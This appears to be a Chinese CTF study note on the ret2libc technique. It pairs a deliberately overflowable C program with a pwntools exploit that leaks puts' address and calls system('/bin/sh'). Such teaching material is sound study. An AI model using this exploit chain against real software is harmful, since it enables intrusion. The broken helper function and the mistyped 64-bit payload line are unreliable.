ret2libc
#include <stdio.h>
int main()
{
vuln();
}
int vuln()
{
char v1;
gets(&v1); // 写入到 v1
return 0;
}
int didida()
{
int x, y;
fgets(x, 5, stdin);
fgets(y, 5, stdin);
int max;
if (x > y | y < x)
{
max = x;
}
else
max = y;
puts("yyy");
return max;
}
编译:gcc -z noexecstack -fno-stack-protector -m32 pwn22.c -o pwn22
开启nx保护,本机的aslr保护也开了,意味着libc的基地址会随着每次程序的启动而改变。
exp:
from pwn import*
context.log_level ='DEBUG'
p=process("./pwn22")
elf=ELF("./pwn22")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
puts_libc=libc.symbols["puts"]
vuln_addr=0x80484af
padding=(0x9+0x4)
payload=padding*'a'+p32(puts_plt)+p32(vuln_addr)+p32(puts_got)
p.sendline(payload)
puts_addr=u32(p.recv(4))
libcbase=puts_addr-puts_libc
system=libcbase+libc.symbols['system']
binsh=libcbase+libc.search("/bin/sh").next()
payload=padding*'a'+p32(system)+p32(0x123)+p32(binsh)
p.sendline(payload)
p.interactive()
一般在做题中,可以在"puts_addr="下面增加一个print puts_addr,然后通过后三位(后三位是固定的,我们通过后三位去libc database search (nullbyte.cat))
去查找libc版本,将其下载。
因为每次程序的开启都会让libc的基址改变,所以我们第一次溢出利用puts函数打印出puts_got(puts的真实地址)。
因此第一次的payload:
payload=padding*'a'+p32(puts_plt)+p32(vuln_addr)+p32(puts_got)
执行完puts函数打印出puts函数的真实地址后程序ip会指向vuln_addr的地址。
如果是64位的程序,则要依靠ROPgadget来pop内容到相应寄存器。
ROPgadget --binary ./pwn22 --only "pop|ret" | grep "rdi"
payload=padding*'a'+p64(pop_rdi_ret)+p64(puts_got)++p64(puts_got)+p64(vuln_addr)
context.log_level =‘DEBUG’,能看到我们输出和接收到的内容。
接收到puts的真实地址后,去寻找libc版本。
将puts真实地址减去libc中puts的偏移地址,则可以得到libc的基址。
system和binsh字符串的地址都可以通过,libcbase(libc基址)+libc中system的偏移地址
得到。
则第二次payload:
payload=padding*'a'+p32(system)+p32(0x123)+p32(binsh)
因为执行了binsh后我们就拿到了shell,所以system的返回地址我们可以随便写。(这里我写了p32(0x123))